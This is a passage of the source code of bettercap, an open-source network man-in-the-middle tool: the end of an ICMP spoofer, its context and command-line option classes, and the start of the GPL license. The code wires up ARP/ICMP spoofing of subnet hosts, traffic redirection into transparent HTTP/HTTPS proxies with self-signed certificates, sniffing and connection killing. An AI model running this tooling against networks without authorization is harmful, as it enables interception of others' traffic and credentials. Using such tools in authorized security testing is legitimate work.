spoofer loop. 197 | def icmp_spoofer 198 | spoof_loop(3) { |target| 199 | unless target.ip.nil? or target.mac.nil? 200 | send_spoofed_packet target 201 | end 202 | } 203 | end 204 | end 205 | end 206 | end 207 | -------------------------------------------------------------------------------- /lib/bettercap/context.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | require 'bettercap/error' 14 | 15 | module BetterCap 16 | # This class holds global states and data, moreover it exposes high level 17 | # methods to manipulate the program behaviour. 18 | class Context 19 | # Instance of BetterCap::Options class. 20 | attr_accessor :options 21 | # A dictionary containing information about the selected network interface. 22 | attr_accessor :ifconfig 23 | # Instance of the current BetterCap::Firewalls class. 24 | attr_accessor :firewall 25 | # Network gateway IP address. 26 | attr_accessor :gateway 27 | # A list of BetterCap::Target objects which is periodically updated. 28 | attr_accessor :targets 29 | # Instance of BetterCap::Discovery::Thread class. 30 | attr_accessor :discovery 31 | # A list of BetterCap::Spoofers class instances. 32 | attr_accessor :spoofer 33 | # Instance of BetterCap::HTTPD::Server class. 34 | attr_accessor :httpd 35 | # Instance of OpenSSL::X509::Certificate class used 36 | # for the HTTPS transparent proxy. 37 | attr_accessor :certificate 38 | # Set to true if the program is running, to false if a shutdown was 39 | # scheduled by the user which pressed CTRL+C 40 | attr_accessor :running 41 | # Timeout for discovery operations. 42 | attr_reader :timeout 43 | # Instance of BetterCap::PacketQueue. 44 | attr_reader :packets 45 | 46 | @@instance = nil 47 | 48 | # Return the global instance of the program Context, if the instance 49 | # was not yet created it will be initialized and returned. 50 | def self.get 51 | @@instance ||= self.new 52 | end 53 | 54 | # Initialize the global context object. 55 | def initialize 56 | begin 57 | iface = Pcap.lookupdev 58 | rescue Exception => e 59 | iface = nil 60 | Logger.debug e.message 61 | end 62 | 63 | @running = true 64 | @timeout = 5 65 | @options = Options.new iface 66 | @ifconfig = nil 67 | @firewall = nil 68 | @gateway = nil 69 | @targets = [] 70 | @proxy_processor = nil 71 | @spoofer = nil 72 | @httpd = nil 73 | @certificate = nil 74 | @proxies = [] 75 | @redirections = [] 76 | @discovery = Discovery::Thread.new self 77 | @firewall = Factories::Firewall.get 78 | @packets = nil 79 | end 80 | 81 | # Update the Context state parsing network related informations. 82 | def update! 83 | @ifconfig = PacketFu::Utils.ifconfig @options.iface 84 | @gateway = Network.get_gateway if @gateway.nil? 85 | 86 | raise BetterCap::Error, "Could not determine IPv4 address of '#{@options.iface}', make sure this interface "\ 87 | 'is active and connected.' if @ifconfig[:ip4_obj].nil? 88 | 89 | raise BetterCap::Error, "Could not detect the gateway address for interface #{@options.iface}, "\ 90 | 'make sure you\'ve specified the correct network interface to use and to have the '\ 91 | 'correct network configuration, this could also happen if bettercap '\ 92 | 'is launched from a virtual environment.' if @gateway.nil? or !Network.is_ip?(@gateway) 93 | 94 | Logger.debug '----- NETWORK INFORMATIONS -----' 95 | Logger.debug " network = #{@ifconfig[:ip4_obj]}" 96 | Logger.debug " gateway = #{@gateway}" 97 | Logger.debug " local_ip = #{@ifconfig[:ip_saddr]}\n" 98 | @ifconfig.each do |key,value| 99 | Logger.debug " ifconfig[:#{key}] = #{value}" 100 | end 101 | Logger.debug "--------------------------------\n" 102 | 103 | @packets = Network::PacketQueue.new( @ifconfig[:iface], @options.packet_throttle, 4 ) 104 | end 105 | 106 | # Find a target given its +ip+ and +mac+ addresses inside the #targets 107 | # list, if not found return nil. 108 | def find_target ip, mac 109 | @targets.each do |target| 110 | if target.equals?(ip,mac) 111 | return target 112 | end 113 | end 114 | nil 115 | end 116 | 117 | # Apply needed BetterCap::Firewalls::Redirection objects. 118 | def enable_port_redirection! 119 | @redirections = @options.to_redirections @ifconfig 120 | @redirections.each do |r| 121 | Logger.debug "Redirecting #{r.protocol} traffic from port #{r.src_port} to #{r.dst_address}:#{r.dst_port}" 122 | @firewall.add_port_redirection( r ) 123 | end 124 | end 125 | 126 | # Initialize the needed transparent proxies and the processor routined which 127 | # is needed in order to run proxy modules. 128 | def create_proxies 129 | if @options.has_proxy_module? 130 | Proxy::Module.register_modules 131 | 132 | raise BetterCap::Error, "#{@options.proxy_module} is not a valid bettercap proxy module." if Proxy::Module.modules.empty? 133 | end 134 | 135 | @proxy_processor = Proc.new do |request,response| 136 | if Proxy::Module.modules.empty? 137 | Logger.warn 'WARNING: No proxy module loaded, skipping request.' 138 | else 139 | # loop each loaded module and execute if enabled 140 | Proxy::Module.modules.each do |mod| 141 | if mod.enabled? 142 | # we need to save the original response in case something 143 | # in the module will go wrong 144 | original = response 145 | 146 | begin 147 | mod.on_request request, response 148 | rescue Exception => e 149 | Logger.warn "Error with proxy module: #{e.message}" 150 | response = original 151 | end 152 | end 153 | end 154 | end 155 | end 156 | 157 | # create HTTP proxy 158 | @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_port, false, @proxy_processor ) 159 | # create HTTPS proxy 160 | if @options.proxy_https 161 | # We're not acting as a normal HTTPS proxy, thus we're not 162 | # able to handle CONNECT requests, thus we don't know the 163 | # hostname the client is going to connect to. 164 | # We can only use a self signed certificate. 165 | if @options.proxy_pem_file.nil? 166 | @certificate = Proxy::CertStore.get_selfsigned 167 | else 168 | @certificate = Proxy::CertStore.from_file @options.proxy_pem_file 169 | end 170 | 171 | @proxies << Proxy::Proxy.new( @ifconfig[:ip_saddr], @options.proxy_https_port, true, @proxy_processor ) 172 | end 173 | 174 | @proxies.each do |proxy| 175 | proxy.start 176 | end 177 | end 178 | 179 | # Stop every running daemon that was started and reset system state. 180 | def finalize 181 | @running = false 182 | 183 | # Logger is silent if @running == false 184 | puts "\nShutting down, hang on ...\n" 185 | 186 | Logger.debug 'Stopping target discovery manager ...' 187 | @discovery.stop 188 | 189 | Logger.debug 'Stopping spoofers ...' 190 | @spoofer.each do |spoofer| 191 | spoofer.stop 192 | end 193 | 194 | # Spoofer might be sending some last packets to restore the targets, 195 | # the packet queue must be stopped here. 196 | @packets.stop 197 | 198 | Logger.debug 'Stopping proxies ...' 199 | @proxies.each do |proxy| 200 | proxy.stop 201 | end 202 | 203 | Logger.debug 'Disabling port redirections ...' 204 | @redirections.each do |r| 205 | @firewall.del_port_redirection( r ) 206 | end 207 | 208 | Logger.debug 'Restoring firewall state ...' 209 | @firewall.restore 210 | 211 | @httpd.stop unless @httpd.nil? 212 | end 213 | end 214 | end 215 | -------------------------------------------------------------------------------- /lib/bettercap/options.rb: -------------------------------------------------------------------------------- 1 | =begin 2 | 3 | BETTERCAP 4 | 5 | Author : Simone 'evilsocket' Margaritelli 6 | Email : evilsocket@gmail.com 7 | Blog : http://www.evilsocket.net/ 8 | 9 | This project is released under the GPL 3 license. 10 | 11 | =end 12 | 13 | module BetterCap 14 | # Parse command line arguments, set options and initialize +Context+ 15 | # accordingly. 16 | class Options 17 | # Gateway IP address. 18 | attr_accessor :gateway 19 | # Network interface. 20 | attr_accessor :iface 21 | # Name of the spoofer to use. 22 | attr_accessor :spoofer 23 | # If true half duplex mode is enabled. 24 | attr_accessor :half_duplex 25 | # Comma separated list of targets. 26 | attr_accessor :target 27 | # Log file name. 28 | attr_accessor :logfile 29 | # If true will suppress every log message which is not an error or a warning. 30 | attr_accessor :silent 31 | # If true will enable debug messages. 32 | attr_accessor :debug 33 | # If true will disable active network discovery, the program will just use 34 | # the current ARP cache. 35 | attr_accessor :arpcache 36 | # Comma separated list of ip addresses to ignore. 37 | attr_accessor :ignore 38 | # If true the BetterCap::Sniffer will be enabled. 39 | attr_accessor :sniffer 40 | # PCAP file name to save captured packets to. 41 | attr_accessor :sniffer_pcap 42 | # BPF filter to apply to sniffed packets. 43 | attr_accessor :sniffer_filter 44 | # Input PCAP file, if specified the BetterCap::Sniffer will read packets 45 | # from it instead of the network. 46 | attr_accessor :sniffer_src 47 | # Comma separated list of BetterCap::Parsers to enable. 48 | attr_accessor :parsers 49 | # Regular expression to use with the BetterCap::Parsers::Custom parser. 50 | attr_accessor :custom_parser 51 | # If true, bettercap will sniff packets from the local interface as well. 52 | attr_accessor :local 53 | # If true, HTTP transparent proxy will be enabled. 54 | attr_accessor :proxy 55 | # If true, HTTPS transparent proxy will be enabled. 56 | attr_accessor :proxy_https 57 | # HTTP proxy port. 58 | attr_accessor :proxy_port 59 | # List of HTTP ports, [ 80 ] by default. 60 | attr_accessor :http_ports 61 | # HTTPS proxy port. 62 | attr_accessor :proxy_https_port 63 | # List of HTTPS ports, [ 443 ] by default. 64 | attr_accessor :https_ports 65 | # File name of the PEM certificate to use for the HTTPS proxy. 66 | attr_accessor :proxy_pem_file 67 | # File name of the transparent proxy module to load. 68 | attr_accessor :proxy_module 69 | # Custom HTTP transparent proxy address. 70 | attr_accessor :custom_proxy 71 | # Custom HTTP transparent proxy port. 72 | attr_accessor :custom_proxy_port 73 | # Custom HTTPS transparent proxy address. 74 | attr_accessor :custom_https_proxy 75 | # Custom HTTPS transparent proxy port. 76 | attr_accessor :custom_https_proxy_port 77 | # If true, BetterCap::HTTPD::Server will be enabled. 78 | attr_accessor :httpd 79 | # The port to bind BetterCap::HTTPD::Server to. 80 | attr_accessor :httpd_port 81 | # Web root of the BetterCap::HTTPD::Server. 82 | attr_accessor :httpd_path 83 | # If true, bettercap will check for updates then exit. 84 | attr_accessor :check_updates 85 | # If true, targets NBNS hostname resolution won't be performed. 86 | attr_accessor :no_target_nbns 87 | # If true, bettercap won't forward packets for any target, causing 88 | # connections to be killed. 89 | attr_accessor :kill 90 | # If different than 0, this time will be used as a delay while sending packets. 91 | attr_accessor :packet_throttle 92 | 93 | # Create a BetterCap::Options class instance using the specified network interface. 94 | def initialize( iface ) 95 | @gateway = nil 96 | @iface = iface 97 | @spoofer = 'ARP' 98 | @half_duplex = false 99 | @target = nil 100 | @logfile = nil 101 | @silent = false 102 | @debug = false 103 | @arpcache = false 104 | @no_target_nbns = false 105 | @kill = false 106 | @packet_throttle = 0.0 107 | @http_ports = [ 80 ] 108 | @https_ports = [ 443 ] 109 | @ignore = nil 110 | 111 | @sniffer = false 112 | @sniffer_pcap = nil 113 | @sniffer_filter = nil 114 | @sniffer_src = nil 115 | @parsers = ['*'] 116 | @custom_parser = nil 117 | @local = false 118 | 119 | @proxy = false 120 | @proxy_https = false 121 | @proxy_port = 8080 122 | @proxy_https_port = 8083 123 | @proxy_pem_file = nil 124 | @proxy_module = nil 125 | 126 | @custom_proxy = nil 127 | @custom_proxy_port = 8080 128 | 129 | @custom_https_proxy = nil 130 | @custom_https_proxy_port = 8083 131 | 132 | @httpd = false 133 | @httpd_port = 8081 134 | @httpd_path = './' 135 | 136 | @check_updates = false 137 | end 138 | 139 | # Initialize the BetterCap::Context, parse command line arguments and update program 140 | # state accordingly. 141 | # Will rise a BetterCap::Error if errors occurred. 142 | def self.parse! 143 | ctx = Context.get 144 | 145 | OptionParser.new do |opts| 146 | opts.version = BetterCap::VERSION 147 | opts.banner = "Usage: bettercap [options]" 148 | opts.separator "" 149 | opts.separator "Specific options:" 150 | opts.separator "" 151 | 152 | opts.on( '-G', '--gateway ADDRESS', 'Manually specify the gateway address, if not specified the current gateway will be retrieved and used. ' ) do |v| 153 | ctx.options.gateway = v 154 | end 155 | 156 | opts.on( '-I', '--interface IFACE', 'Network interface name - default: ' + ctx.options.iface.to_s ) do |v| 157 | ctx.options.iface = v 158 | end 159 | 160 | opts.on( '-S', '--spoofer NAME', 'Spoofer module to use, available: ' + Factories::Spoofer.available.join(', ') + ' - default: ' + ctx.options.spoofer ) do |v| 161 | ctx.options.spoofer = v 162 | end 163 | 164 | opts.on( '-T', '--target ADDRESS1,ADDRESS2', 'Target IP addresses, if not specified the whole subnet will be targeted.' ) do |v| 165 | ctx.options.target = v 166 | end 167 | 168 | opts.on( '--ignore ADDRESS1,ADDRESS2', 'Ignore these addresses if found while searching for targets.' ) do |v| 169 | ctx.options.ignore = v 170 | end 171 | 172 | opts.on( '-O', '--log LOG_FILE', 'Log all messages into a file, if not specified the log messages will be only print into the shell.' ) do |v| 173 | ctx.options.logfile = v 174 | end 175 | 176 | opts.on( '-D', '--debug', 'Enable debug logging.' ) do 177 | ctx.options.debug = true 178 | end 179 | 180 | opts.on( '-L', '--local', 'Parse packets coming from/to the address of this computer ( NOTE: Will set -X to true ), default to false.' ) do 181 | ctx.options.local = true 182 | ctx.options.sniffer = true 183 | end 184 | 185 | opts.on( '-X', '--sniffer', 'Enable sniffer.' ) do 186 | ctx.options.sniffer = true 187 | end 188 | 189 | opts.on( '--sniffer-source FILE', 'Load packets from the specified PCAP file instead of the interface ( will enable sniffer ).' ) do |v| 190 | ctx.options.sniffer = true 191 | ctx.options.sniffer_src = File.expand_path v 192 | end 193 | 194 | opts.on( '--sniffer-pcap FILE', 'Save all packets to the specified PCAP file ( will enable sniffer ).' ) do |v| 195 | ctx.options.sniffer = true 196 | ctx.options.sniffer_pcap = File.expand_path v 197 | end 198 | 199 | opts.on( '--sniffer-filter EXPRESSION', 'Configure the sniffer to use this BPF filter ( will enable sniffer ).' ) do |v| 200 | ctx.options.sniffer = true 201 | ctx.options.sniffer_filter = v 202 | end 203 | 204 | opts.on( '-P', '--parsers PARSERS', 'Comma separated list of packet parsers to enable, "*" for all ( NOTE: Will set -X to true ), available: ' + Factories::Parser.available.join(', ') + ' - default: *' ) do |v| 205 | ctx.options.sniffer = true 206 | ctx.options.parsers = Factories::Parser.from_cmdline(v) 207 | end 208 | 209 | opts.on( '--custom-parser EXPRESSION', 'Use a custom regular expression in order to capture and show sniffed data ( NOTE: Will set -X to true ).' ) do |v| 210 | ctx.options.sniffer = true 211 | ctx.options.parsers = ['CUSTOM'] 212 | ctx.options.custom_parser = Regexp.new(v) 213 | end 214 | 215 | opts.on( '--silent', 'Suppress every message which is not an error or a warning, default to false.' ) do 216 | ctx.options.silent = true 217 | end 218 | 219 | opts.on( '--no-discovery', 'Do not actively search for hosts, just use the current ARP cache, default to false.' ) do 220 | ctx.options.arpcache = true 221 | end 222 | 223 | opts.on( '--no-spoofing', 'Disable spoofing, alias for --spoofer NONE.' ) do 224 | ctx.options.spoofer = 'NONE' 225 | end 226 | 227 | opts.on( '--no-target-nbns', 'Disable target NBNS hostname resolution.' ) do 228 | ctx.options.no_target_nbns = true 229 | end 230 | 231 | opts.on( '--half-duplex', 'Enable half-duplex MITM, this will make bettercap work in those cases when the router is not vulnerable.' ) do 232 | ctx.options.half_duplex = true 233 | end 234 | 235 | opts.on( '--proxy', 'Enable HTTP proxy and redirects all HTTP requests to it, default to false.' ) do 236 | ctx.options.proxy = true 237 | end 238 | 239 | opts.on( '--proxy-https', 'Enable HTTPS proxy and redirects all HTTPS requests to it, default to false.' ) do 240 | ctx.options.proxy = true 241 | ctx.options.proxy_https = true 242 | end 243 | 244 | opts.on( '--proxy-port PORT', 'Set HTTP proxy port, default to ' + ctx.options.proxy_port.to_s + ' .' ) do |v| 245 | ctx.options.proxy = true 246 | ctx.options.proxy_port = v.to_i 247 | end 248 | 249 | opts.on( '--http-ports PORT1,PORT2', 'Comma separated list of HTTP ports to redirect to the proxy, default to ' + ctx.options.http_ports.join(', ') + ' .' ) do |v| 250 | ctx.options.http_ports = v 251 | end 252 | 253 | opts.on( '--https-ports PORT1,PORT2', 'Comma separated list of HTTPS ports to redirect to the proxy, default to ' + ctx.options.https_ports.join(', ') + ' .' ) do |v| 254 | ctx.options.https_ports = v 255 | end 256 | 257 | opts.on( '--proxy-https-port PORT', 'Set HTTPS proxy port, default to ' + ctx.options.proxy_https_port.to_s + ' .' ) do |v| 258 | ctx.options.proxy = true 259 | ctx.options.proxy_https = true 260 | ctx.options.proxy_https_port = v.to_i 261 | end 262 | 263 | opts.on( '--proxy-pem FILE', 'Use a custom PEM certificate file for the HTTPS proxy.' ) do |v| 264 | ctx.options.proxy = true 265 | ctx.options.proxy_https = true 266 | ctx.options.proxy_pem_file = File.expand_path v 267 | end 268 | 269 | opts.on( '--proxy-module MODULE', 'Ruby proxy module to load, either a custom file or one of the following: ' + Proxy::Module.available.join(', ') + ' .' ) do |v| 270 | Proxy::Module.load(ctx, opts, v) 271 | end 272 | 273 | opts.on( '--custom-proxy ADDRESS', 'Use a custom HTTP upstream proxy instead of the builtin one.' ) do |v| 274 | ctx.options.custom_proxy = v 275 | end 276 | 277 | opts.on( '--custom-proxy-port PORT', 'Specify a port for the custom HTTP upstream proxy, default to ' + ctx.options.custom_proxy_port.to_s + ' .' ) do |v| 278 | ctx.options.custom_proxy_port = v.to_i 279 | end 280 | 281 | opts.on( '--custom-https-proxy ADDRESS', 'Use a custom HTTPS upstream proxy instead of the builtin one.' ) do |v| 282 | ctx.options.custom_https_proxy = v 283 | end 284 | 285 | opts.on( '--custom-https-proxy-port PORT', 'Specify a port for the custom HTTPS upstream proxy, default to ' + ctx.options.custom_https_proxy_port.to_s + ' .' ) do |v| 286 | ctx.options.custom_https_proxy_port = v.to_i 287 | end 288 | 289 | opts.on( '--httpd', 'Enable HTTP server, default to false.' ) do 290 | ctx.options.httpd = true 291 | end 292 | 293 | opts.on( '--httpd-port PORT', 'Set HTTP server port, default to ' + ctx.options.httpd_port.to_s + '.' ) do |v| 294 | ctx.options.httpd = true 295 | ctx.options.httpd_port = v.to_i 296 | end 297 | 298 | opts.on( '--httpd-path PATH', 'Set HTTP server path, default to ' + ctx.options.httpd_path + '.' ) do |v| 299 | ctx.options.httpd = true 300 | ctx.options.httpd_path = v 301 | end 302 | 303 | opts.on( '--kill', 'Instead of forwarding packets, this switch will make targets connections to be killed.' ) do 304 | ctx.options.kill = true 305 | end 306 | 307 | opts.on( '--packet-throttle NUMBER', 'Number of seconds ( can be a decimal number ) to wait between each packet to be sent.' ) do |v| 308 | ctx.options.packet_throttle = v.to_f 309 | raise BetterCap::Error, "Invalid packet throttle value specified." if ctx.options.packet_throttle <= 0.0 310 | end 311 | 312 | opts.on( '--check-updates', 'Will check if any update is available and then exit.' ) do 313 | ctx.options.check_updates = true 314 | end 315 | 316 | opts.on('-h', '--help', 'Display the available options.') do 317 | puts opts 318 | puts "\nFor examples & docs please visit " + "http://bettercap.org/docs/".bold 319 | exit 320 | end 321 | end.parse! 322 | 323 | Logger.init( ctx.options.debug, ctx.options.logfile, ctx.options.silent ) 324 | 325 | if ctx.options.check_updates 326 | UpdateChecker.check 327 | exit 328 | end 329 | 330 | raise BetterCap::Error, 'This software must run as root.' unless Process.uid == 0 331 | raise BetterCap::Error, 'No default interface found, please specify one with the -I argument.' if ctx.options.iface.nil? 332 | 333 | ctx.options.starting_message 334 | 335 | unless ctx.options.gateway.nil? 336 | raise BetterCap::Error, "The specified gateway '#{ctx.options.gateway}' is not a valid IPv4 address." unless Network.is_ip?(ctx.options.gateway) 337 | ctx.gateway = ctx.options.gateway 338 | Logger.debug("Targetting manually specified gateway #{ctx.gateway}") 339 | end 340 | 341 | unless ctx.options.target.nil? 342 | ctx.targets = ctx.options.to_targets 343 | end 344 | 345 | # Load firewall instance, network interface informations and detect the 346 | # gateway address. 347 | ctx.update! 348 | 349 | # Spoofers need the context network data to be initialized. 350 | ctx.spoofer = ctx.options.to_spoofers 351 | 352 | ctx 353 | end 354 | 355 | # Return true if active host discovery is enabled, otherwise false. 356 | def should_discover_hosts? 357 | !@arpcache 358 | end 359 | 360 | # Return true if a proxy module was specified, otherwise false. 361 | def has_proxy_module? 362 | !@proxy_module.nil? 363 | end 364 | 365 | # Return true if a spoofer module was specified, otherwise false. 366 | def has_spoofer? 367 | @spoofer != 'NONE' and @spoofer != 'none' 368 | end 369 | 370 | # Return true if the BetterCap::Parsers::URL is enabled, otherwise false. 371 | def has_http_sniffer_enabled? 372 | @sniffer and ( @parsers.include?'*' or @parsers.include?'URL' ) 373 | end 374 | 375 | # Return true if the +ip+ address needs to be ignored, otherwise false. 376 | def ignore_ip?(ip) 377 | !@ignore.nil? and @ignore.include?(ip) 378 | end 379 | 380 | # Setter for the #ignore attribute, will raise a BetterCap::Error if one 381 | # or more invalid IP addresses are specified. 382 | def ignore=(value) 383 | @ignore = value.split(",") 384 | valid = @ignore.select { |target| Network.is_ip?(target) } 385 | 386 | raise BetterCap::Error, "Invalid ignore addresses specified." if valid.empty? 387 | 388 | invalid = @ignore - valid 389 | invalid.each do |target| 390 | Logger.warn "Not a valid address: #{target}" 391 | end 392 | 393 | @ignore = valid 394 | 395 | Logger.warn "Ignoring #{valid.join(", ")} ." 396 | end 397 | 398 | # Setter for the #custom_proxy attribute, will raise a BetterCap::Error if 399 | # +value+ is not a valid IP address. 400 | def custom_proxy=(value) 401 | @custom_proxy = value 402 | raise BetterCap::Error, 'Invalid custom HTTP upstream proxy address specified.' unless Network.is_ip? @custom_proxy 403 | end 404 | 405 | # Setter for the #custom_https_proxy attribute, will raise a BetterCap::Error if 406 | # +value+ is not a valid IP address. 407 | def custom_https_proxy=(value) 408 | @custom_https_proxy = value 409 | raise BetterCap::Error, 'Invalid custom HTTPS upstream proxy address specified.' unless Network.is_ip? @custom_https_proxy 410 | end 411 | 412 | # Parse a comma separated list of ports and return an array containing only 413 | # valid ports, raise BetterCap::Error if that array is empty. 414 | def to_ports(value) 415 | ports = [] 416 | value.split(",").each do |v| 417 | v = v.strip.to_i 418 | if v > 0 and v <= 65535 419 | ports << v 420 | end 421 | end 422 | raise BetterCap::Error, 'Invalid ports specified.' if ports.empty? 423 | ports 424 | end 425 | 426 | # Setter for the #http_ports attribute, will raise a BetterCap::Error if +value+ 427 | # is not a valid comma separated list of ports. 428 | def http_ports=(value) 429 | @http_ports = to_ports(value) 430 | end 431 | 432 | # Setter for the #https_ports attribute, will raise a BetterCap::Error if +value+ 433 | # is not a valid comma separated list of ports. 434 | def https_ports=(value) 435 | @https_ports = to_ports(value) 436 | end 437 | 438 | # Split specified targets and parse them ( either as IP or MAC ), will raise a 439 | # BetterCap::Error if one or more invalid addresses are specified. 440 | def to_targets 441 | targets = @target.split(",") 442 | valid_targets = targets.select { |target| Network.is_ip?(target) or Network.is_mac?(target) } 443 | 444 | raise BetterCap::Error, "Invalid target specified." if valid_targets.empty? 445 | 446 | invalid_targets = targets - valid_targets 447 | invalid_targets.each do |target| 448 | Logger.warn "Invalid target specified: #{target}" 449 | end 450 | 451 | valid_targets.map { |target| Network::Target.new(target) } 452 | end 453 | 454 | # Parse spoofers and return a list of BetterCap::Spoofers objects. Raise a 455 | # BetterCap::Error if an invalid spoofer name was specified. 456 | def to_spoofers 457 | spoofers = [] 458 | spoofer_modules_names = @spoofer.split(",") 459 | spoofer_modules_names.each do |module_name| 460 | spoofers << Factories::Spoofer.get_by_name( module_name ) 461 | end 462 | spoofers 463 | end 464 | 465 | # Create a list of BetterCap::Firewalls::Redirection objects which are needed 466 | # given the specified command line arguments. 467 | def to_redirections ifconfig 468 | redirections = [] 469 | 470 | if @proxy 471 | @http_ports.each do |port| 472 | redirections << Firewalls::Redirection.new( @iface, 473 | 'TCP', 474 | port, 475 | ifconfig[:ip_saddr], 476 | @proxy_port ) 477 | end 478 | end 479 | 480 | if @proxy_https 481 | @https_ports.each do |port| 482 | redirections << Firewalls::Redirection.new( @iface, 483 | 'TCP', 484 | port, 485 | ifconfig[:ip_saddr], 486 | @proxy_https_port ) 487 | end 488 | end 489 | 490 | if @custom_proxy 491 | @http_ports.each do |port| 492 | redirections << Firewalls::Redirection.new( @iface, 493 | 'TCP', 494 | port, 495 | @custom_proxy, 496 | @custom_proxy_port ) 497 | end 498 | end 499 | 500 | if @custom_https_proxy 501 | @https_ports.each do |port| 502 | redirections << Firewalls::Redirection.new( @iface, 503 | 'TCP', 504 | port, 505 | @custom_https_proxy, 506 | @custom_https_proxy_port ) 507 | end 508 | end 509 | 510 | redirections 511 | end 512 | 513 | # Print the starting status message. 514 | def starting_message 515 | on = '✔'.green 516 | off = '✘'.red 517 | status = { 518 | 'spoofing' => if has_spoofer? then on else off end, 519 | 'discovery' => if !target.nil? or arpcache then off else on end, 520 | 'sniffer' => if sniffer then on else off end, 521 | 'http-proxy' => if proxy then on else off end, 522 | 'https-proxy' => if proxy_https then on else off end, 523 | 'http-server' => if httpd then on else off end, 524 | } 525 | 526 | msg = "Starting [ " 527 | status.each do |k,v| 528 | msg += "#{k}:#{v} " 529 | end 530 | msg += "] ...\n\n" 531 | 532 | Logger.info msg 533 | 534 | Logger.warn "You are running an unstable/beta version of this software, please" \ 535 | " update to a stable one if available." if BetterCap::VERSION =~ /[\d\.+]b/ 536 | end 537 | end 538 | end 539 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | ========================== 3 | 4 | Version 3, 29 June 2007 5 | 6 | Copyright © 2007 Free Software Foundation, Inc. <> 7 | 8 | Everyone is permitted to copy and distribute verbatim copies of this license 9 | document, but changing it is not allowed. 10 | 11 | ## Preamble 12 | 13 | The GNU General Public License is a free, copyleft license for software and other 14 | kinds of works. 15 | 16 | The licenses for most software and other practical works are designed to take away 17 | your freedom to share and change the works. By contrast, the GNU General Public 18 | License is intended to guarantee your freedom to share and change all versions of a 19 | program--to make sure it remains free software for all its users. We, the Free 20 | Software Foundation, use the GNU General Public License for most of our software; it 21 | applies also to any other work released this way by its authors. You can apply it to 22 | your programs, too. 23 | 24 | When we speak of free software, we are referring to freedom, not price. Our General 25 | Public Licenses are designed to make sure that you have the freedom to distribute 26 | copies of free software (and charge for them if you wish), that you receive source 27 | code or can get it if you want it, that you can change the software or use pieces of 28 | it in new free programs, and that you know you can do these things. 29 | 30 | To protect your rights, we need to prevent others from denying you these rights or 31 | asking you to surrender the rights. Therefore, you have certain responsibilities if 32 | you distribute copies of the software, or if you modify it: responsibilities to 33 | respect the freedom of others. 34 | 35 | For example, if you distribute copies of such a program, whether gratis or for a fee, 36 | you must pass on to the recipients the same freedoms that you received. You must make 37 | sure that they, too, receive or can get the source code. And you must show them these 38 | terms so they know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: (1) assert 41 | copyright on the software, and (2) offer you this License giving you legal permission 42 | to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains that there is 45 | no warranty for this free software. For both users' and authors' sake, the GPL 46 | requires that modified versions be marked as changed, so that their problems will not 47 | be attributed erroneously to authors of previous versions. 48 | 49 | Some devices are designed to deny users access to install or run modified versions of 50 | the software inside them, although the manufacturer can do so. This is fundamentally 51 | incompatible with the aim of protecting users' freedom to change the software. The 52 | systematic pattern of such abuse occurs in the area of products for individuals to 53 | use, which is precisely where it is most unacceptable. Therefore, we have designed 54 | this version of the GPL to prohibit the practice for those products. If such problems 55 | arise substantially in other domains, we stand ready to extend this provision to 56 | those domains in future versions of the GPL, as needed to protect the freedom of 57 | users. 58 | 59 | Finally, every program is threatened constantly by software patents. States should 60 | not allow patents to restrict development and use of software on general-purpose 61 | computers, but in those that do, we wish to avoid the special danger that patents 62 | applied to a free program could make it effectively proprietary. To prevent this, the 63 | GPL assures that patents cannot be used to render the program non-free. 64 | 65 | The precise terms and conditions for copying, distribution and modification follow. 66 | 67 | ## TERMS AND CONDITIONS 68 | 69 | ### 0. Definitions. 70 | 71 | “This License” refers to version 3 of the GNU General Public License. 72 | 73 | “Copyright” also means copyright-like laws that apply to other kinds of 74 | works, such as semiconductor masks. 75 | 76 | “The Program” refers to any copyrightable work licensed under this 77 | License. Each licensee is addressed as “you”. “Licensees” and 78 | “recipients” may be individuals or organizations. 79 | 80 | To “modify” a work means to copy from or adapt all or part of the work in 81 | a fashion requiring copyright permission, other than the making of an exact copy. The 82 | resulting work is called a “modified version” of the earlier work or a 83 | work “based on” the earlier work. 84 | 85 | A “covered work” means either the unmodified Program or a work based on 86 | the Program. 87 | 88 | To “propagate” a work means to do anything with it that, without 89 | permission, would make you directly or secondarily liable for infringement under 90 | applicable copyright law, except executing it on a computer or modifying a private 91 | copy. Propagation includes copying, distribution (with or without modification), 92 | making available to the public, and in some countries other activities as well. 93 | 94 | To “convey” a work means any kind of propagation that enables other 95 | parties to make or receive copies. Mere interaction with a user through a computer 96 | network, with no transfer of a copy, is not conveying. 97 | 98 | An interactive user interface displays “Appropriate Legal Notices” to the 99 | extent that it includes a convenient and prominently visible feature that (1) 100 | displays an appropriate copyright notice, and (2) tells the user that there is no 101 | warranty for the work (except to the extent that warranties are provided), that 102 | licensees may convey the work under this License, and how to view a copy of this 103 | License. If the interface presents a list of user commands or options, such as a 104 | menu, a prominent item in the list meets this criterion. 105 | 106 | ### 1. Source Code. 107 | 108 | The “source code” for a work means the preferred form of the work for 109 | making modifications to it. “Object code” means any non-source form of a 110 | work. 111 | 112 | A “Standard Interface” means an interface that either is an official 113 | standard defined by a recognized standards body, or, in the case of interfaces 114 | specified for a particular programming language, one that is widely used among 115 | developers working in that language. 116 | 117 | The “System Libraries” of an executable work include anything, other than 118 | the work as a whole, that (a) is included in the normal form of packaging a Major 119 | Component, but which is not part of that Major Component, and (b) serves only to 120 | enable use of the work with that Major Component, or to implement a Standard 121 | Interface for which an implementation is available to the public in source code form. 122 | A “Major Component”, in this context, means a major essential component 123 | (kernel, window system, and so on) of the specific operating system (if any) on which 124 | the executable work runs, or a compiler used to produce the work, or an object code 125 | interpreter used to run it. 126 | 127 | The “Corresponding Source” for a work in object code form means all the 128 | source code needed to generate, install, and (for an executable work) run the object 129 | code and to modify the work, including scripts to control those activities. However, 130 | it does not include the work's System Libraries, or general-purpose tools or 131 | generally available free programs which are used unmodified in performing those 132 | activities but which are not part of the work. For example, Corresponding Source 133 | includes interface definition files associated with source files for the work, and 134 | the source code for shared libraries and dynamically linked subprograms that the work 135 | is specifically designed to 